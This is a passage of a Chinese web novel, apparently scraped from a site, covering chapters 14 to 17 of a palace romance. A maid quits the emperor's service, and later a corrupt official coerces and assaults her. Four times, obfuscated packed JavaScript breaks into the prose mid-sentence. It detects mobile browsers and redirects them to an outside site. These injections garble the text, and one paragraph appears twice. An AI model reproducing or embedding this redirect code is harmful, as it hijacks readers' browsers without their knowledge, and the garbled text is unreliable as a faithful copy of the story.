“谢谢,谢谢你柳先生,我向您保证,下个月,下个月我一定会给您工钱。” “我相信你。” 柳辰良笑得十分温柔,似乎是看出了言卿的顾虑,于是他看了看窗外,转头看向言卿,开口说道。 “你似乎要去皇宫了,我会照顾好齐先生和昊儿的,当然,您下次回来的时候,茶楼也依旧会一尘不染,放心吧。” 言卿愣了一下,她没想到眼前的男子可以清楚地猜出自己的心事,不知为何,她感觉更愧疚了。 她还想再多做些什么,但现在已经快正午了,自己必须动身前往皇宫,无论如何,自己都不能失去这样一份报酬丰富的工作。 好在家里还有一位十分靠谱的人能够让自己松一口气。 —— 言卿到达皇宫时已经是下午了,焦急地换好服装便立刻前往了乾清宫。 没关系的,只是半天没来而已,不会有人注意到一个小小的宫女的。 一路上言卿都在不断地安慰自己,但,为什么不好的预感这么强烈? “肖将军。” 在书房门口,言卿遇见了肖风,言卿立刻便行了礼,然而后者看见她之后脸色很明显变了一下。 “啊,下午好,言小姐,您今天来的......好像有些晚。” “是的,很抱歉,家里出了些事情,我不得不处理一下。” 肖风闻言微微垂眸,距离两人上次见面不过才过去了一天不到,但言卿的脸色却和那日判若两人,就像是好几天没睡一样,嘴唇苍白,仿佛随时都会倒下。 究竟发生了什么? “我现在需要进去吗?” 见肖风站在门口久久没有说话,言卿小声地开口问道。 “啊,嗯,是的。” 肖风回过神,侧了侧身子好让言卿过去。 “那个,皇上今日心情有些不好,可能是因为政务,还请谨言慎行。” 这是再明显不过的提醒了,即使你是个笨蛋也该知道这句话的意思,言卿点了点头,随后便进入了书房。 没关系,难道事情还会变得更糟吗? 门在身后无声地阖上,将外界的光亮与声响隔绝了大半。书房内的空气仿佛凝滞了,带着一种沉重而冰冷的压迫感,沉甸甸地压在言卿的胸口,几乎让她喘不过气。 屋内有些昏暗,高大的花窗虽敞开着,但却被厚重的帷幔半掩着,只透进几缕有气无力的光柱。 明明来过这个书房好几次,但今日,言卿却觉得异常的空旷和沉闷。 随后,言卿的目光缓缓移向房间深处。 巨大的檀木书案上堆积着如山的奏折,整个空间弥漫着一种令人窒息的静默。只能听见毛笔在纸上划过的沙沙声,这是书房里唯一清晰可闻的声响。 察觉到言卿的出现,书案后的男人缓缓抬眸,猝不及防的言卿与他对上了视线,一瞬间,言卿的思绪仿佛被拉回了两人第一次见面的时候。 那可怕的压迫感,像是入了虎口的幼兔一般,无处可逃,几乎忘却了呼吸。 好在对视没有持续很久,男人很快移开了视线,重新将注意力集中于面前的奏折。 言卿这才得以缓了口气,她总算理解为什么肖风最后看向自己的眼神那么同情了。 眼前的男人,心情不是一般的差。 没有太监给她托盘和茶具,说明皇上不需要喝茶,那自己只需要站在这里,等待命令就好。 自己从昨天到今早一直在奔波,如今突然慢下来还有些不习惯,说起来,这么定定的站着也很累,言卿悄悄的将背靠在身旁的桌子上来撑着自己站立。 希望这种小聪明不会被人看到。 好在屋内依旧一片寂静,言卿为此松了口气,就这样,让自己休息一下。 眼前的视线似乎有些模糊,思绪也在渐渐飘远...... 不知过了多久,那“沙沙”的声音突然停下了,言卿一瞬间猛地直起了身子。 小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913510|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼翼的喘着粗气,她不敢相信,自己居然睡着了,就在天子的眼前,老天保佑,希望那个男人没有注意到这件事情。 于是言卿小心翼翼的抬眸,方才那批阅文书的男人早已放下了笔,此时正一只手托着下巴,另一只手缓缓的敲击着桌面,在书案后居高临下的看着自己。 他看见了吗? 出于心虚,言卿不敢移开视线,只能硬着头皮撑着。 “你要站到什么时候?” 很快,男人说话了,用十分低沉的语气。 熟悉的轻蔑的声音,言卿不自觉地抖了一下,随后立刻走到书案前等待着下一步命令,老实说,无论何时,男人的视线都让自己很别扭。 “那个。” 纪玄逸缓缓伸出手,指向一旁的桌子,言卿顺着手指的方向看了过去,只见那桌上定定地摆着一盘精致的糕点。 是枣花酥,那是宫中很常见的糕点,在自己还是公主的时候很喜爱,因为她喜欢甜的东西。 但出现在这里,言卿有些不明所以。 “拿去吃了。” “是的?” 言卿歪头,对于跳跃性如此之大的话有些疑惑,他让自己吃那盘糕点。 “还是说你想饿死在朕的书房?” “不,奴婢惶恐。” 即使表情没有变化,说出的话依旧刻薄,但言卿确实因此感到些许庆幸。 昨晚因为昊儿的事情,今早又因为爷爷的事情,自己从昨天下午一直到现在,一口饭都没有吃,加上皇宫和茶楼之间的奔波,自己的身体早就到极限了。 是他说让自己吃的,于是言卿毫不客气地拿起盘中的糕点送进了口中。 ‘好吃!’ 第一口就让言卿瞪大了眼睛,原来宫廷的糕点是这么美味的吗? 对于这几年的言卿来说,食物一直只是填饱肚子的东西罢了,若侥幸手头有一些剩余的钱,言卿会选择更加有营养的肉类而不是点心,如此美味的糕点更是奢望。 ''真的,很好吃,若昊儿和爷爷也能吃到就好了。'' 言卿小口的咀嚼着糕点,脑子里不禁想起了茶楼的家人们,爷爷和昊儿都很喜欢甜的东西,他们一定会很喜欢。 但很显然,这个男人是不会允许自己将糕点带走的,那......自己是否可以偷偷的? 只是几个糕点而已,反正他肯定是不喜欢才让自己吃掉的,自己只需要小心一点,只要纪玄逸没有看着她就好。 于是,言卿小心翼翼的将视线移过去,试图确认男人是否在看着自己,小心一点...... “砰——” 突如其来的巨响差点将言卿吓得跳起来,就像是干坏事被抓住的孩子一样。 ‘言卿,你真是疯了,居然在皇上面前搞小动作。’ 将糕点带回去的主意顿时烟消云散,言卿十分紧张的看向发出声音的地方,只见在那檀木书案旁,盛满墨汁的砚台被打翻在一旁,整个地板都被染上了黑色。 言卿喘着粗气,心虚的抬起头,只见纪玄逸不知何时已经来到了自己面前,用着比以往更加低沉的声音开口道。 “那么,现在来说说看。” “......” “早上不见踪影的原因。” 15. 第 15 章 “就只是......家中有些琐事。” 言卿低着头,避免与男人对视,不是因为别的,只是担心自己拙劣的演技被揭穿罢了。 “朕很好奇,是多么重要的事情,能让你冒着被砍头的风险,偷溜出皇宫。” 言卿猛地瞪大了眼睛,自己怎么会忘记这么重要的事情。 之前说好的工作几天可以回家一次的事,是王姨给自己破例开的后门,但现在,自己已经不在洗衣房工作,也不再受王姨的庇护。 “私自出宫可是死罪,别告诉朕你对此一无所知。” “我......” “除非你有三个脑袋,不然最好解释清楚。” 言卿紧张的已经忘记了谦称,她现在必须和纪玄逸解释清楚这件事,并且说服他让自己偶尔回去几天。 但言卿却迟迟开不了口,她害怕,只要说错一句话就会惹怒眼前的这个男人,随后自己就会被赶出皇宫,甚至被处死。 “奴婢的爷爷,得了重病,今早大夫来诊脉,所以耽误了时辰......” “不对,言卿。” “唉?” 纪玄逸突然开口打断了言卿的话,随后伸出手抚上后者的脸颊,轻轻托起,语气突然变得柔和,但言卿却感到莫名的寒意。 “朕问的是,所有宫女都应该待在自己的位置上,但为何只有你,要私自出宫,往返于那破旧屋子和朕的宫殿?” “......” “你今日是否照过镜子,你现在看上去就像是个死人一般,朕还以为书房闹鬼了。” “我还未曾......” “你就用这副样子侍奉你的主人?” 即使不用照镜子,言卿也知道自己现在看起来如何——糟糕透顶。 对于纪玄逸的嘲讽,言卿不准备反驳,她现在只希望对方能网开一面。 “我很抱歉,但我不得不回去,我必须处理家中的琐事,还请皇上开恩。” 言卿坚定的声音带着不易察觉的颤抖,重复着恳求。 “只要,每周只要两天就好,剩下的时候我都会呆在宫中。” 闻言,纪玄逸的嘴角勾起一丝极淡、毫无温度的弧度,那并非笑意,而是更深的审视。他缓缓收回了手,负于身后,缓缓回到桌案后,高大的身影在昏暗的光线下投下压迫感十足的阴影。 “开恩?”低沉的声音在寂静的书房里回荡,每一个字都清晰得刺耳。 “听上去你将朕的皇宫当成了来去自如的后院,在必要的时候给你发放工钱,以便于解决你口中的‘琐事’。” “不,奴婢不是那个意思,只要几天就好,不,一天!奴婢必须回去。” 言卿瞬间慌了神,为了不失去这份工作她试图开口解释,但纪玄逸先她一步开了口。 “可以。” “什么?” “你可以回去。” 纪玄逸嘴角的弧度依旧,言卿无法从他的眼神中读出异样的情感,她几乎不敢相信自己的耳朵,但不可否认,那一瞬间她是欣喜的。 “谢......” “当然了,别忘了带上你的包裹。” 谢恩的话语还未说出口,男人的下一句话当即让言卿寒了心。 “!” “朕的皇宫容不下一个行踪不定,且视宫规如无物的宫女,如果你执意要回去,那就永远离开皇宫,回到你那破旧的茅草屋,处理你那永远也处理不完的‘琐事’。” 最后两个字咬的很重,嘲讽的意味不言而喻。 言卿的心情一下子从天上跌到了谷底。 谁说事情不会变得更糟的? 空气仿佛都凝固了,永远离开皇宫? 这意味着自己将失去这份唯一能支撑爷爷巨额药费的收入来源,茶楼的微薄收入根本不足以支付爷爷的药钱。 一想到爷爷痛苦的样子,恐惧如同冰冷的潮水瞬间淹没了言卿。她僵在原地,巨大的经济压力和对家人的担忧让她脸色惨白如纸。 而在她目力未及之处,书案后那至高无上的皇帝眼中,一丝极其隐晦的波澜稍纵即逝,快得让人以为是错觉。 “请皇上开恩,这份工作对我......” 言卿的声音带着无法抑制的颤抖,如同风中残烛,微弱却带着孤注一掷的挣扎。 “很重要,对吗?” 玄逸低沉的声音接过她的话尾,带着洞悉一切的冰冷。这反问,像是一把钝刀,在言卿的心上缓缓切割,而下一秒便话锋一转。 “当然了,你似乎迫切地需要金钱,朕是位开明的君主,怎么忍心看到子民受苦?所以,朕格外开恩,再予你第二条路。” 听到这话,言卿的眼里又燃起了一丝希望。 “离开你那破旧的屋子。” “永远留在朕的皇宫。无论是溪边那次逾矩,还是胆大包天的私自出宫,朕皆可既往不咎,一笔勾销。至于你口中那些永远也处理不完的‘琐事’。” 他刻意拉长了尾音,带着施舍般的轻蔑,“朕自会遣人替你‘妥善’处置。如何?” 希望来得快,去得更快,言卿的心又沉了下去,对自己来说,这无异于是两条绝路。 对她而言,“离家不远”一直是选择工作的首要条件。爷爷年迈体衰,缠绵病榻,连生活都难以自理;幼弟昊儿懵懂稚嫩,还需要人寸步不离的守护;更别提那些如鬣狗般环伺、不知何时会扑上来撕咬的讨债恶徒……她必须守在家人身边。 光有钱是不够的。 那位被她狠狠得罪过的侍郎夫人,阴狠怨毒的眼神言卿至今难忘。她们会如何报复?爷爷的病尚未得到有效医治,万一病情突然恶化,身边却连个端水喂药的人都没有…… “因为姐姐一直很忙,我不想添麻烦......” 年幼的弟弟的话语深深地刺痛了言卿的心。 事情不该是这样的,这违背了自己的初心。 “考虑得如何。” 当言卿再次抬起头的时候,纪玄逸已经靠坐在了书案前,单手支着下巴,以一种近乎狩猎者欣赏猎物垂死挣扎般的耐心等待着回答。那目光沉沉,带着掌控一切的从容与笃定。 “是的。” 言卿终于开口,声音低哑却异常清晰。 “既然如此,明日便收拾行装,搬到朕寝宫旁的偏殿去,朕会派人准备你要的东西,至于那个什么茶楼......” 他轻描淡写地耸了耸肩,语气中的鄙夷与嘲讽不言而喻,仿佛那曾给言卿一家带来微薄生计的地方,不过是尘埃般不值一提的所在。 然而,他嘴角那势在必得的笑容,在下一秒骤然凝固。 “奴婢!会离开皇宫。” “......” 言卿鼓起勇气说了出口,以至于打断了纪玄逸的话,她不敢抬头看男人的脸色,御书房内的空气瞬间凝固,温度骤降,仿佛连烛火都畏惧般地摇曳了一下。 “你,说什么?” 过了许久,男人说话了,声音低沉得可怕,一种压抑到极致的死寂席卷了言卿全身。 但言卿并不会因此屈服,她猛地吸了一口气,用尽了全身的力气,将声音提高了些许,清晰地、一字一顿地重复道。 “奴婢,会离开皇宫,请皇上成全!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919059|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......好,很好。” 那几乎是从牙缝里挤出来的字,带着刺骨的寒意,不断扎进言卿的身体。 “滚出去。” 纪玄逸手中那本一直被他随意把玩的文书,早已在无声的暴怒中被捏得粉碎。若他手中是把剑的话,言卿十分肯定自己的脑袋会瞬间被砍下,趁他没有反悔之前,赶紧离开吧。 “……谢主隆恩,奴婢告退。” 说完,她强撑着几乎虚脱的身体,脚步踉跄却不敢有丝毫停留,几乎是逃离般地退出了那间令人窒息的书房。 门在身后关上的瞬间,言卿依旧能感受到门内投射出来的、冰冷而刺骨的目光,自己能活着走出那里真是个奇迹。 “哗啦——” 没等言卿走两步,身后的屋内便传来了一阵刺耳的声音,言卿敢肯定,现在屋内一定一片狼藉。 但那现在都与自己无关了,已经无法回头了。 言卿背靠着粗糙的宫墙,双腿软得几乎支撑不住身体的重量,方才强撑的镇定瞬间瓦解。 她并不后悔拒绝了纪玄逸的提议。 纪玄逸口中的“破旧屋子”和“永远也处理不完的‘琐事’”,对言卿而言家,是责任,是在这世上仅存的,需要她用命去守护的温暖。 不能倒下,绝对不能倒下,就算天塌下来,她也得顶着。 为了爷爷,为了昊儿。皇宫这条路断了,那就另寻出路,哪怕是去扛麻袋、做最苦最累的活,她也要挣出药钱来,也要供昊儿读书! —— 傍晚时分,言卿拖着沉重的脚步回到茶楼。 茶楼里客人不多,显得有些冷清。柳辰良正低头拨着算盘,听到脚步声抬起头,看到是她,脸上习惯性地堆起温和的笑意:“言卿回来了,今天这么早......?” 话未说完,他的笑容就僵在了脸上。 眼前的言卿,脸色惨白如纸,嘴唇没有一丝血色,整个人失魂落魄,比早上离开时还要憔悴十倍。 “这是怎么回事……”柳辰良放下算盘,快步从柜台后走出来将言卿扶着坐下,随后倒了杯水,语气充满了惊愕和担忧。 “在宫里发生什么事情了?” 言卿张了张嘴,喉咙却干涩得发不出声音。她努力挤出一个“没事”的笑容,开口道。 “这段日子我可以回茶楼帮忙了,柳先生您休息几天吧,在我找到下一份工作之前。” “什么?皇宫那边......是吗,我明白了。” 柳辰良先是一惊,但看到言卿脸上那难以掩饰的挣扎与苦涩,瞬间明白了什么。他脸上的惊讶迅速褪去,取而代之的是更深的柔和与理解 “没关系,我不需要休息,倒是言卿你,趁着这段日子稍微休息一下吧。” “但是......” 言卿还想坚持,那份骨子里的倔强让她不愿成为负担。 “好了,没有但是,赶紧去洗洗脸,不然昊儿看见姐姐这副样子可是会哭鼻子的。” “好了,没有但是。” 柳辰良温和却不容置疑地打断她,像个体贴的大哥哥般,轻轻拍了拍她的头。 “赶紧去洗把脸吧,不然等会儿昊儿要是看见姐姐这副样子,怕是要哭鼻子。” 他转身走向后厨,语气轻松地转移话题。 “我去煮饭,刚好今天刚好让你尝尝我的手艺。” “唉?”言卿微愣,疲惫的眼中闪过一丝意外,“柳先生您……还会做饭?” “那是自然。” 柳辰良回头,笑容爽朗地让言卿安心。 “我的厨艺可是一流的!您就瞧好了吧。” 16. 第 16 章 “姐姐!你怎么回来了?” 饭桌前,刚跑下楼的昊儿猛地顿住脚步,圆溜溜的眼睛里盛满了惊讶,呆呆地望着突然出现在眼前的言卿。 正帮柳辰良摆放碗筷的言卿闻声抬起头,脸上掠过一丝不易察觉的尴尬。 “姐姐可能要在家陪昊儿一段时间了。” 这对于言卿来说是一件十分难以启齿的事情,她无法向任何人讲述皇宫里的遭遇,而自己失去工作却是事实。 她一直想在年幼的弟弟面前扮演一个坚强可靠的姐姐形象,现在可能不能如愿了。 “太好了!” 让言卿意外的是,她话音未落,昊儿便像只欢快的小雀儿,直扑过来紧紧抱住了她。 “姐姐不用走了吗!” “嗯......暂时。” 言卿摸了摸昊儿的小脑袋,点了点头。 “对了,爷爷怎么样了。” 言卿突然想到自己早上出门时,躺在床上的咳嗽不止的齐老爷子,眉头不自觉地轻蹙,担忧地问道。 “大夫中午送来了药,我已经煎好给齐先生喂下了,情况好多了,现在正在休息。” 柳辰良沉稳的声音适时响起,他动作利落地将最后一碟小菜摆上桌。 “那便好......” 言卿松了口气,悬着的心稍稍放下。爷爷是一个自尊心很强的人,即使路都快走不动了,每日还是坚持去山上采茶。 若他知道自己得了肺痨,以及高额的药材,一定会对他造成身心的打击,因此,她和柳辰良、昊儿都默契地瞒着老人,只说是寻常风寒。 “对了,大夫还说,若是没有意外的话,那些钱可以维系三个月的药材,让我们不用担心。” 转眼间,柳辰良已经将所有饭菜都端上了桌,招呼姐弟二人坐下。 “意外情况是指?” “齐先生毕竟年事已高,病情难以预料,纵有药物维系,也难保没有急症突发的凶险。” “这样......” 言卿点点头,现在已经是最好的情况了,肺痨对于普通人家来说无异于绝症,若营养和药物跟不上,只能在折磨中死去,更别提彻底医治了。 “明天我去找找工作。” “以后的事暂且放一放,先吃饭吧,尝尝我的手艺如何?” 柳辰良摇了摇头,目光落在言卿略显苍白的脸上。 “不过才半日不见,你看上去消瘦了许多。” “......” ‘你今日是否照过镜子?’ 男人的话不合时宜的出现在耳边,言卿尴尬的笑了一下,随后举起筷子。 “是啊,我真应该吃点东西了。” 柳辰良说的对,自己这段时间的精神实在太敏感了,这不是什么好事。 言卿深吸了口气,随意夹起一份面前的菜送入口中。 殊不知身旁的两人正一脸期待的看着自己,等待着自己的反应。 “......天哪,太好吃了。” 下一秒,言卿立刻瞪大了眼睛,她不敢相信自己口中的感觉。 “对吧对吧,柳哥哥的手艺可好了!不管是什么菜都能做的特别美味!” 昊儿见到姐姐惊讶的反应,激动地开始向她夸耀起柳辰良的厨艺。 对于言卿一家子来说,食物只是饱腹的东西,无论好不好吃,能吃饱才是最重要的。 但,柳辰良做的菜却让自己久违的体验到了曾经在宫中的味道,这让言卿很是惊讶。 “柳先生,您的手艺真的太棒了。” “言卿喜欢的话就最好不过了,很高兴看到你恢复了精神。” 面对源源不断的夸赞柳辰良只是温和的笑了笑,示意他们多吃点。 “天哪,您完全可以去贵族家中工作了。” 言卿由衷赞叹,又忍不住品尝了其他几道菜,无一不令人回味无穷。她甚至觉得,就算柳辰良此刻坦言他曾是皇宫御厨,她也丝毫不会怀疑。 “那里的工钱绝对会比这多得多。” “哈哈哈,过誉了,我只是对做饭很有兴趣,但若是让我用它去工作,想必我很快便会失去兴趣。” 面对这连番夸奖,柳辰良只是谦和地笑了笑。 “况且,我更喜欢在茶楼里面的生活,就像你第一次见面对我说的,我会爱上这里。” 言卿也没有继续说下去,看向柳辰良的视线多了些若有所思。 就像自己第一次见到他的时候,她始终觉得眼前的这个男人有什么秘密。 但他既不愿言明,她也无意深究。 ...... 转眼间,满满一桌饭菜已被姐弟二人风卷残云般扫荡干净。 言卿轻轻拍了拍自己的小肚子,不禁感到惊讶。 她完全没想到自己可以吃下这么多东西。 “我来收拾吧,齐先生可能快醒了,你可以去看看。” 饭后,柳辰良也是很自然的开始收拾,这立刻让言卿的脸红了起来。 方才只顾大快朵颐的只有她和昊儿,身为厨子的柳辰良反而没吃几口,此刻还要劳烦他收拾残局。 “那个,从明日开始我来做饭吧,柳先生您休息几日。” 言卿的本意是想帮柳辰良分担压力,因为他本来是来茶楼工作的,但现在的活儿远远超出了那一部分,自己还发不出工钱,这让言卿很是愧疚。 但显然有一个人不买账...... “唉?不要啊,我要吃柳哥哥做的饭,姐姐做的不好吃!” 昊儿一听,立刻在旁边大声地哀怨道。 “昊儿,姐姐做的饭明明就很好吃!” 因为被拆穿,言卿的脸又红了起来,她试图抓住昊儿和他争论此事,但后者跑得很快。 做饭难吃是言卿永远的痛,她曾经无数次尝试过,但每次做出来的东西都......难以下咽? 或许可以这么形容,她学任何东西都很快,除了做饭,事实上,就连昊儿的手艺都比自己要好。 “哈哈哈,没关系,我不觉得累。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948142|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看着屋内开始追逐打闹的姐弟二人,柳辰良笑出了声。 是的,这才是这间茶楼吸引自己的东西,就像自己第一次到这里那样。 —— 数日时光在茶楼的宁静中悄然溜走。 言卿感觉紧绷已久的神经终于放松下来,久违的轻松感浸润着四肢百骸,与深宫中的压抑沉闷截然不同。 “今天如何?” 柳辰良拨弄着算盘,抬头看向从门口走进的言卿。 “很顺利,果园的婶婶说,工钱可以一天一结。” 言卿伸了个懒腰,她今天去外面找了活儿,主要是帮隔壁的果园采摘果实以及搬运,是个体力活,但好在工钱很可观。 “那真是太好了,过来吃饭吧,齐先生和昊儿等着呢。” “嗯!” 果然还是家里好。 言卿看着围坐在桌前的家人们,不由得感慨道。 在皇宫工作的日子几乎让她忘记了自我。 “我给昊儿物色好了新的私塾,过些日子就可以过去了。” 这次她特意挑选了邻里街坊孩子都上的普通私塾,先生学识或许不如从前那家,但胜在都是知根知底的邻家玩伴,昊儿的安全总算不必再提心吊胆。 “好好,那我那天去送昊儿便好,这风寒也好的差不多了,咳咳。” “爷爷。” 言卿急忙放下筷子,跑过去给齐老爷子顺了顺背。 “您这病还没好,就不要出去了,我干活的地方刚好顺路,我送昊儿去就行。” “唉,这些日子真是辛苦你们俩了,说来也怪,明明这些天也没有着凉,为何会染上风寒?我这身子真是老了不中用了。” “齐先生哪里的话,茶楼的事交给我们两个年轻人就好了,您安心养病即可。” 一旁的柳辰良开口道,齐老爷子看了过去,经过这些天的相处,他发现言卿招来的这位年轻人可不是一般的靠谱,而且极其有责任感。 于是,趁着柳辰良去灶台的时候,齐老爷子悄悄地将言卿拉到一旁。 “言卿啊,这个柳辰良真是不可多得的好男人,爷爷我已经帮你把过关了,和你十分相配。” “什么!爷爷,你在说什么啊!” 言卿闻言立马一惊,随后转头看向灶台确认柳辰良没有听见,随后压低了音量。 “柳先生和我没有那方面的想法......” “所以说你才要抓紧啊,要是被别家的姑娘瞧见了。” “爷爷......” 言卿还想再解释一些,但门口突然传来了一阵急促的敲门声。 “我去开门。” 而当言卿站在茶楼门口的时候,一种不好的预感瞬间席卷了全身,于是她让昊儿和爷爷都回到了房间。 她不想开门,但门口那人却愈发急促,就好像再不开门就要破门而入一样。 于是言卿深吸一口气,强压下心头的悸动,走到门前,手指微颤地拉开了门栓。 “请问,你们找谁?” 17. 第 17 章 言卿打开门,只见几个彪形大汉正气势汹汹地站在茶楼门口,将茶楼小小的入口堵得严严实实。 而在其中间,站着一个衣冠华贵,挺着肚腩的中年男人,看到言卿从门口出来,男人狭长的三角眼微眯了起来,着毫不掩饰的审视与估量。 看上去来者不善。 “在下郑远,听闻犬子前些与你们有些冲突,特地前来拜访。” 男人开口,声音平缓,甚至带上了几分刻意的温和。 郑远?郑侍郎? 言卿猛地一惊,立刻意识到眼前的男人便是当朝吏部侍郎,也是那日在私塾闹事女人的丈夫。 真的找上门了,但不是侍郎夫人,而是侍郎本人。 言卿瞬间紧张了起来,弯下腰准备行礼,但却被一只戴着翡翠扳指的手拦住了,看似随意却力道十足地托住了她的手臂,阻止了她下拜的动作。 “不必多礼,这是私下的事,没必要那么拘谨。” 郑远的笑容堆叠在富态的脸上,显得格外平易近人,看上去完全不是来找言卿麻烦的,这让言卿有些意外。 但言卿紧绷的心弦非但没有放松,反而升起一丝荒谬的违和感。 眼前的男人似乎比他的夫人更好说话,或许可以借此解决昊儿的事情,于是言卿开口道: “对于我弟弟做的事情,我感到十分抱歉,就像我那日在私塾说的,我们可以承担所有医治费用,若您需要,我们还可以进行其他补偿......” 言卿还想继续说,但郑远却抬手打断了她。 “可否借一步说话?” 言卿愣了一下,随后便注意到周围的情况,街上来往的路人似乎注意到了这里的骚动,三三两两的路人驻足,好奇地探头张望,隐约可以听到窃窃私语的声音。 “这边请。” 或许是不想被人认出侍郎的身份,于是言卿将郑远带到了茶楼的后院中。 “公子的伤势如何了?” 郑远没有立刻回答,他背着手,慢悠悠地在小小的院子里踱起步来,目光看似随意地扫过院墙、屋角。 最后,那目光如同黏住一般,沉沉地、带着某种令人不适的重量,重新落回到言卿身上,将她从头到脚细细打量了一遍,嘴角勾起一抹意味不明的弧度。 “已经经过大夫医治,并无大碍。” “那真是太好了,如果您愿意的话,我们可以登门道歉,还有补偿......” “不过......” 郑远的声音陡然转冷,他停下脚步,转过身正对着言卿,语气瞬间变得冷峻。 “本官前些日子与衙门的几位同僚叙话,听闻一事。” 他刻意顿了顿,三角眼紧紧盯着言卿瞬间变得苍白的脸,“按我朝律法,无故殴伤官宦嫡子者,其罪……当处笞五十杖。” “唉?” “真是不知道你家那野小子,能不能受得住。” 郑远似乎很满意她的反应,向前逼近了半步,高大的身影投下的阴影将言卿完全笼罩。 郑侍郎突然的态度转变让言卿愣在了原地。这绝对不是言卿的错觉,从一踏进这个后院开始,眼前的男人就像变了一个人一样。 自称也好,高傲的语气也罢,都和郑夫人如出一辙。 不,或许他从来就是这样,门口那副客气的嘴脸,不过是给路人看的假象罢了。 ‘果然还是如此吗?’ 眼前深吸一口气,老实说,出现这种情况她完全不意外,甚至可以说是意料之中。 她本来就不该幻想上位者对她们这种底层百姓心生怜悯。 于是言卿继续重复那些话语。 “我们会补偿,恳求您不要上告衙门,或许还有别的方法......” 绝对不能去衙门,就像他说的,昊儿那小身板绝对不可能扛住五十大板,就算三个人一起上也扛不住。 现在只能恳求眼前的这个男人将这件事私了。 “本官的妻子很生气,每日都在家说着要杀了你们。” 郑远看着眼前低声下气的言卿,狭长的三角眼又眯了起来,随后逐渐靠近。 “我很抱歉......” “当然了,本官有个好建议,可以让大家都满意。” “那是......!” 言卿刚想开口询问,但却突然感到肩上一沉,随即,一股混合着浓烈酒气、汗味和熏香的,极其刺鼻恶心的气味扑面而来,狠狠灌入她的鼻腔,令人反胃作呕。 不知何时,郑远的手臂已经搂住了言卿的肩膀,将脸贴的十分之近。 “您这是做什么!” 言卿猛地推开了郑远,用尽全力猛地去推搡郑远那沉重的身躯,但后者却一下子拽住了言卿的胳膊将她拉了回来。 这个郑侍郎的体重都快赶上两个言卿了,年龄也是,言卿几乎被他突如其来的举动和话语吓得失语。 “你这丫头长得倒是有几分姿色,若你来本宫的府中做妾,那些恩怨自然可以一笔勾销。” “我不明白你在说什么,请放开我!” “不明白?” 郑远嗤笑一声,手上的力道又加重了几分,指甲几乎陷进言卿下巴的皮肉里。 “你的爷爷生病了吧,真是可怜,你还给那野小子找了新私塾,你不会天真的以为那样就能逃过一劫?” “......!” “如果你能让本官感到欢愉,说不定会大发慈悲救济你们一些。” 郑远说着,用粗大的手摸了摸言卿的下巴,眼里的贪婪和欲望毫不掩饰。 “不!请你立刻放开我!” 言卿瞪大了眼睛,眼前的一切简直让自己反胃,于是她更加用力的挣脱,试图逃离眼前的这个可怕的人。 “啪——” 一声清脆的声音在耳边响起,刹那间世界都安静了,脸颊上一阵剧痛猛地袭来,言卿偏着头瞪大了眼睛。 “真是贱人,敬酒不吃吃罚酒。” 耳边响起一阵不耐烦的声音,言卿这才回过神来——自己被打了。 “果然,贱民就是贱民,果然还是杖刑更适合你们。” 这是言卿出生以来第一次扇巴掌,直到现在耳朵依旧充满了嗡鸣声。 郑远撇了一眼愣在原地的言卿,眼神里充满了不屑与厌恶,好像是已经失去了兴趣,转身向门外走去。 “请等一下。” 言卿开口叫住了郑远,因为她清楚,如果眼前的这个男人从茶楼走出去,明日昊儿就会出现在冰冷的衙门,她必须要和眼前的男人私了。 “怎么?想明白了,想做本官的小妾了?” 郑远眯了眯眼,转过身上下打量着言卿,看上去他十分中意。 “除了那个......钱,我可以给钱,多少都可以......” 言卿自己都对说出的话感到可笑,自己到底有多少钱,才能说出这种话? “哈哈哈,你是觉得本官缺你那几个臭铜板?” 很显然,郑远也觉得言卿讲了个天大的笑话,于是放声的嘲笑起来,不过随即,他小小的眼珠子提溜了一圈,嘴角勾起了笑容。 “不过......用钱倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952242|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不是不行。” “真的吗!需要多少?” 言卿的眼睛亮了起来,迫切的询问道。 郑远没有回答,只是不慌不忙的竖起一根手指,慢悠悠的在言卿眼前晃了晃。 “啊,十两白银是吗,我改日就送到您府中......” 